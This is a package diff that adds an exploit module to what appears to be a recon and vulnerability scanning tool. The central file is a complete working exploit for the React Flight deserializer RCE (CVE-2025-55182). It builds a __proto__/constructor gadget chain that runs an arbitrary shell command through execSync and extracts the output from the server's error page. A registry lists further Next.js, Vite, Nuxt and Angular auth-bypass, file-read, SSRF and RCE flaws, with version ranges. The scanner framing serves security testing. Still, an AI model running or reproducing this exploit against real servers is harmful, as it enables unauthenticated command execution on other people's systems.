@js-recon/js-recon 1.4.4 → 2.0.1-alpha.1

package/build/exploit/react/cve-2025-55182.js

@@ -0,0 +1,116 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+import rawRequest from "../utility/rawRequest.js";
+import runSandboxRceProof, { escapeDoubleQuotedLiteral } from "../utility/sandboxRce.js";
+const BOUNDARY = "----jsReconExploitBoundary";
+export const buildMultipartBody = (fields) => {
+    const parts = Object.entries(fields).map(([name, value]) => `--${BOUNDARY}\r\nContent-Disposition: form-data; name="${name}"\r\n\r\n${value}\r\n`);
+    return `${parts.join("")}--${BOUNDARY}--\r\n`;
+};
+export const buildRscHeaders = () => ({
+    "next-action": "",
+    "rsc-action": "null",
+    "content-type": `multipart/form-data; boundary=${BOUNDARY}`,
+});
+/**
+ * Field "0": crafted Flight chunk. The deserializer walks attacker-supplied property paths
+ * without an own-property guard: "$1:constructor:constructor" reaches Function.prototype.constructor
+ * (assigned onto response._formData.get), "$1:__proto__:then" reaches real Promise.prototype.then
+ * so the chunk satisfies React's thenable check — React calls .then() on it, invoking
+ * response._formData.get(response._prefix + N) = Function(prefix + N), i.e. the attacker string
+ * becomes the body of a dynamically constructed and invoked function.
+ */
+export const buildGadgetChunk = (jsBody) => JSON.stringify({
+    then: "$1:__proto__:then",
+    status: "resolved_model",
+    reason: -1,
+    value: '{"then": "$B0"}',
+    _response: {
+        _prefix: jsBody,
+        _formData: { get: "$1:constructor:constructor" },
+    },
+});
+// The attacker string becomes a dynamically-constructed function's BODY, so it must be a
+// syntactically complete statement sequence — no dangling expression. Throwing an Error (rather
+// than assigning a value, as the Nuxt sandbox escape does) surfaces the result directly in
+// Express's default error-handler HTML page, extracted below via extractErrorMessage().
+const stage1Js = (cmd) => `(function(){ import("node:child_process").then(function(m){ globalThis.__pocOut = m.execSync("${escapeDoubleQuotedLiteral(cmd)}").toString(); }); throw new Error("kicked"); })();`;
+// The thrown Error's message is only the first line of a much longer stack trace in Express's
+// default error page — a plain "did we get non-empty text back" check would treat the stack
+// trace itself as ready output on every attempt, even before __pocOut is set. Prefixing with a
+// distinct marker lets extractErrorMessage tell "real output" apart from "not ready yet" and from
+// the surrounding stack trace noise.
+const RESULT_MARKER = "JSRECON_RESULT:";
+const stage2Js = `throw new Error(${JSON.stringify(RESULT_MARKER)} + (globalThis.__pocOut || ""));`;
+/**
+ * Express's default (non-production) error page wraps the thrown Error's message + stack in a
+ * <pre>. Returns the text between the marker and the next newline (the stack trace starts on the
+ * following line), or null if the marker/output isn't present yet.
+ */
+export const extractErrorMessage = (html) => {
+    const match = /<pre>([\s\S]*?)<\/pre>/.exec(html);
+    if (!match)
+        return null;
+    const text = match[1].replace(/<br>/g, "\n").replace(/&quot;/g, '"');
+    const markerIndex = text.indexOf(RESULT_MARKER);
+    if (markerIndex === -1)
+        return null;
+    const afterMarker = text.slice(markerIndex + RESULT_MARKER.length);
+    const output = afterMarker.split("\n")[0].trim();
+    return output.length > 0 ? output : null;
+};
+/**
+ * CVE-2025-55182 "React2Shell": prototype-pollution gadget chain in React's Flight reply
+ * deserializer reaching an unauthenticated RCE. Requires the target to run Express 5 (Express 4
+ * crashes the process on the uncaught rejection instead of returning a clean error response) with
+ * `node --conditions react-server` — this handler still just attempts the exploit and interprets
+ * the result, since no live version/runtime-flag detection exists to gate on beforehand.
+ */
+const cve202555182 = (ctx) => __awaiter(void 0, void 0, void 0, function* () {
+    const sendGadget = (jsBody) => __awaiter(void 0, void 0, void 0, function* () {
+        return rawRequest(ctx.baseUrl, {
+            method: "POST",
+            timeout: ctx.timeout,
+            signal: ctx.signal,
+            headers: buildRscHeaders(),
+            // Field "1" must be the JSON string reference `"$@0"` (including its quotes), not the
+            // bare identifier — this is how Flight's reply format spells "resolve to chunk 0".
+            body: buildMultipartBody({ "0": buildGadgetChunk(jsBody), "1": '"$@0"' }),
+        });
+    });
+    const result = yield runSandboxRceProof({
+        sendStage1: (cmd) => __awaiter(void 0, void 0, void 0, function* () {
+            yield sendGadget(stage1Js(cmd));
+        }),
+        sendStage2: () => __awaiter(void 0, void 0, void 0, function* () {
+            const resp = yield sendGadget(stage2Js);
+            // The thrown error surfaces via Express's default error page, typically a 500 —
+            // don't gate on status, gate on whether a <pre> error body was actually returned.
+            if (!resp)
+                return null;
+            return extractErrorMessage(resp.body);
+        }),
+    }, ctx.execCmd);
+    if (result.succeeded) {
+        return {
+            vulnerable: true,
+            evidence: `React Flight deserializer RCE confirmed. Command "${ctx.execCmd}" output: ${result.output}`,
+            discoveredUrls: [],
+            rawFindingExtras: { execOutput: result.output },
+        };
+    }
+    return {
+        vulnerable: false,
+        evidence: "Flight gadget-chain RCE proof did not succeed (patched, not an RSC endpoint, or runtime precondition — Express 5 + --conditions react-server — unmet).",
+        discoveredUrls: [],
+    };
+});
+export default cve202555182;
+//# sourceMappingURL=cve-2025-55182.js.map

package/build/exploit/react/cve-2025-55182.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cve-2025-55182.js","sourceRoot":"","sources":["../../../src/exploit/react/cve-2025-55182.ts"],"names":[],"mappings":"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"}

package/build/exploit/registry/cveRegistry.js

@@ -0,0 +1,115 @@
+var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
+    function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
+    return new (P || (P = Promise))(function (resolve, reject) {
+        function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
+        function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
+        function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
+        step((generator = generator.apply(thisArg, _arguments || [])).next());
+    });
+};
+export const CVE_REGISTRY = Object.freeze([
+    Object.freeze({
+        id: "CVE-2025-29927",
+        commonName: "Next.js middleware authorization bypass",
+        framework: "next",
+        description: "The x-middleware-subrequest header (repeated 5x, matching MAX_RECURSION_DEPTH) causes Next.js's middleware sandbox to skip execution entirely, bypassing any auth/redirect logic implemented in middleware.ts.",
+        vulnerableRanges: ["<12.3.5", "<13.5.9", "<14.2.25", "<15.2.3"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2025-29927.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-64645",
+        commonName: "Next.js rewrites() dynamic destination SSRF",
+        framework: "next",
+        description: "A next.config rewrites() rule with a dynamic capture-group destination hostname can be redirected to an internal service, reflecting its response through the public origin (reflected SSRF).",
+        vulnerableRanges: ["12.0.0-15.5.20", "16.0.0-16.2.10"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../next/cve-2026-64645.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2025-30208",
+        commonName: "Vite server.fs.deny bypass (double query-mark)",
+        framework: "vite",
+        description: "A trailing double '?' on a /@fs/ request (e.g. ?import&raw??) defeats Vite dev server's fs.deny path filter, allowing arbitrary file reads outside the project root.",
+        vulnerableRanges: ["<=4.5.9", "5.0.0-5.4.14", "6.0.0-6.0.11", "6.1.0-6.1.1", "6.2.0-6.2.2"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2025-30208.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-39363",
+        commonName: "Vite WebSocket fetchModule fs.deny bypass",
+        framework: "vite",
+        description: "Vite's vite-hmr WebSocket RPC exposes a fetchModule invoke that never applies the server.fs allow/deny checks the HTTP /@fs/ endpoint enforces, allowing arbitrary file reads over the HMR socket.",
+        vulnerableRanges: ["6.0.0-6.4.1", "7.0.0-7.3.1", "8.0.0-8.0.4"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../vite/cve-2026-39363.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-71320",
+        commonName: "Nuxt Server Island template injection RCE",
+        framework: "nuxt",
+        description: "A crafted 'as.template' prop on a /__nuxt_island/ request is compiled by Vue's SSR runtime template compiler, allowing a sandbox escape ('a'.constructor.constructor(...)) into full Node.js RCE.",
+        vulnerableRanges: ["<4.5.1"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71320.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-71315",
+        commonName: "Nuxt route-rule casing middleware bypass",
+        framework: "nuxt",
+        description: "An uppercase-containing routeRules key never matches at any request casing because the lookup path is lowercased but the compiled rule key isn't, silently dropping the route's appMiddleware auth gate.",
+        vulnerableRanges: ["unspecified (regression of CVE-2026-53721's fix)"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-53721",
+        commonName: "Nuxt route-rule casing middleware bypass (original)",
+        framework: "nuxt",
+        description: "Original disclosure of the route-rule casing mismatch middleware bypass later regressed by CVE-2026-71315; same exploitation mechanism, same handler.",
+        vulnerableRanges: ["unspecified"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../nuxt/cve-2026-71315.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2026-68945",
+        commonName: "Angular HttpTransferCache key collision",
+        framework: "angular",
+        description: "HttpTransferCache's cache-key builder joins repeated query params with Array.prototype.join(','), so ?tag=a&tag=b and ?tag=a,b collide to the same cache entry, letting one request's cached response leak to a different query shape.",
+        vulnerableRanges: ["19.x (unfixed for entire line)", "<20.3.27", "<21.2.19", "<22.0.2"],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../angular/cve-2026-68945.js")).default; }),
+    }),
+    Object.freeze({
+        id: "CVE-2025-55182",
+        commonName: 'React Server Components Flight deserializer RCE ("React2Shell")',
+        framework: "react",
+        description: "React's Flight reply deserializer walks attacker-supplied property paths without an own-property guard, reaching Function.prototype.constructor via a __proto__ gadget chain for unauthenticated RCE. Requires Express 5 + node --conditions react-server on the target.",
+        vulnerableRanges: [
+            "react-server-dom-webpack/-parcel/-turbopack 19.0.0/19.1.0/19.1.1/19.2.0",
+            "Next.js 14.3.0-canary.77+/15.x/16.x (bundled React)",
+        ],
+        requiresLiveTarget: true,
+        handler: () => __awaiter(void 0, void 0, void 0, function* () { return (yield import("../react/cve-2025-55182.js")).default; }),
+    }),
+]);
+export const findCveMetadata = (cveId) => CVE_REGISTRY.find((cve) => cve.id.toLowerCase() === cveId.trim().toLowerCase());
+/** Grouped by framework (alphabetical), sorted by CVE ID within each group — the shape --list-cve prints. */
+export const groupedByFramework = () => {
+    var _a, _b;
+    const groups = new Map();
+    for (const cve of CVE_REGISTRY) {
+        const list = (_a = groups.get(cve.framework)) !== null && _a !== void 0 ? _a : [];
+        list.push(cve);
+        groups.set(cve.framework, list);
+    }
+    const sortedFrameworks = Array.from(groups.keys()).sort();
+    const result = new Map();
+    for (const framework of sortedFrameworks) {
+        const list = [...((_b = groups.get(framework)) !== null && _b !== void 0 ? _b : [])].sort((a, b) => a.id.localeCompare(b.id));
+        result.set(framework, Object.freeze(list));
+    }
+    return result;
+};
+export default CVE_REGISTRY;
+//# sourceMappingURL=cveRegistry.js.map

package/build/exploit/registry/cveRegistry.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"cveRegistry.js","sourceRoot":"","sources":["../../../src/exploit/registry/cveRegistry.ts"],"names":[],"mappings":"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"}

package/build/exploit/types.js

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=types.js.map

package/build/exploit/types.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"types.js","sourceRoot":"","sources":["../../src/exploit/types.ts"],"names":[],"mappings":""}

package/build/exploit/utility/compareResponses.js

@@ -0,0 +1,29 @@
+const isSuccessStatus = (status) => status >= 200 && status < 300;
+/**
+ * Pure baseline-vs-payload response comparator. No I/O — every exploit handler makes both
+ * requests itself (via rawRequest.ts) and passes the raw status/headers/body pairs in here.
+ *
+ * `markers`, when given, are substrings expected to appear only in a successful payload response
+ * (e.g. a leaked marker string, file-content signature). `becameSuccessful` requires the status to
+ * have moved from a blocked/redirect/error shape to 2xx AND (when markers are given) at least one
+ * marker to be newly present — status change alone is not proof for exploits whose payload
+ * response can also legitimately redirect/error for unrelated reasons.
+ */
+export const diffResponses = (baseline, payload, markers) => {
+    const statusChanged = baseline.status !== payload.status;
+    const newlyContains = (markers !== null && markers !== void 0 ? markers : []).filter((marker) => payload.body.includes(marker) && !baseline.body.includes(marker));
+    const bodyLengthDelta = payload.body.length - baseline.body.length;
+    const baselineWasBlocked = !isSuccessStatus(baseline.status);
+    const payloadIsSuccessful = isSuccessStatus(payload.status);
+    const becameSuccessful = baselineWasBlocked &&
+        payloadIsSuccessful &&
+        (markers === undefined || markers.length === 0 || newlyContains.length > 0);
+    return {
+        statusChanged,
+        newlyContains: Object.freeze(newlyContains),
+        bodyLengthDelta,
+        becameSuccessful,
+    };
+};
+export default diffResponses;
+//# sourceMappingURL=compareResponses.js.map

package/build/exploit/utility/compareResponses.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"compareResponses.js","sourceRoot":"","sources":["../../../src/exploit/utility/compareResponses.ts"],"names":[],"mappings":"AAcA,MAAM,eAAe,GAAG,CAAC,MAAc,EAAW,EAAE,CAAC,MAAM,IAAI,GAAG,IAAI,MAAM,GAAG,GAAG,CAAC;AAEnF;;;;;;;;;GASG;AACH,MAAM,CAAC,MAAM,aAAa,GAAG,CACzB,QAA4B,EAC5B,OAA2B,EAC3B,OAA2B,EACf,EAAE;IACd,MAAM,aAAa,GAAG,QAAQ,CAAC,MAAM,KAAK,OAAO,CAAC,MAAM,CAAC;IACzD,MAAM,aAAa,GAAG,CAAC,OAAO,aAAP,OAAO,cAAP,OAAO,GAAI,EAAE,CAAC,CAAC,MAAM,CACxC,CAAC,MAAM,EAAE,EAAE,CAAC,OAAO,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,IAAI,CAAC,QAAQ,CAAC,IAAI,CAAC,QAAQ,CAAC,MAAM,CAAC,CAC/E,CAAC;IACF,MAAM,eAAe,GAAG,OAAO,CAAC,IAAI,CAAC,MAAM,GAAG,QAAQ,CAAC,IAAI,CAAC,MAAM,CAAC;IAEnE,MAAM,kBAAkB,GAAG,CAAC,eAAe,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC;IAC7D,MAAM,mBAAmB,GAAG,eAAe,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC;IAC5D,MAAM,gBAAgB,GAClB,kBAAkB;QAClB,mBAAmB;QACnB,CAAC,OAAO,KAAK,SAAS,IAAI,OAAO,CAAC,MAAM,KAAK,CAAC,IAAI,aAAa,CAAC,MAAM,GAAG,CAAC,CAAC,CAAC;IAEhF,OAAO;QACH,aAAa;QACb,aAAa,EAAE,MAAM,CAAC,MAAM,CAAC,aAAa,CAAC;QAC3C,eAAe;QACf,gBAAgB;KACnB,CAAC;AACN,CAAC,CAAC;AAEF,eAAe,aAAa,CAAC"}

package/build/exploit/utility/outputHelper.js

@@ -0,0 +1,22 @@
+import fs from "fs";
+import { printMsg, MSG } from "../../utility/printMsg.js";
+export const toExploitFinding = (cveId, commonName, framework, target, outcome) => {
+    var _a;
+    return ({
+        cveId,
+        commonName,
+        framework,
+        target,
+        timestamp: new Date().toISOString(),
+        vulnerable: outcome.vulnerable,
+        evidence: outcome.evidence,
+        discoveredUrls: outcome.discoveredUrls,
+        execOutput: typeof ((_a = outcome.rawFindingExtras) === null || _a === void 0 ? void 0 : _a.execOutput) === "string" ? outcome.rawFindingExtras.execOutput : undefined,
+    });
+};
+export const generateExploitOutput = (outputFile, findings) => {
+    printMsg(MSG.Header, "[i] Generating exploit output...");
+    fs.writeFileSync(outputFile, JSON.stringify(findings, null, 2));
+    printMsg(MSG.Run, "[✓] Exploit output generated successfully.");
+};
+//# sourceMappingURL=outputHelper.js.map

package/build/exploit/utility/outputHelper.js.map

@@ -0,0 +1 @@
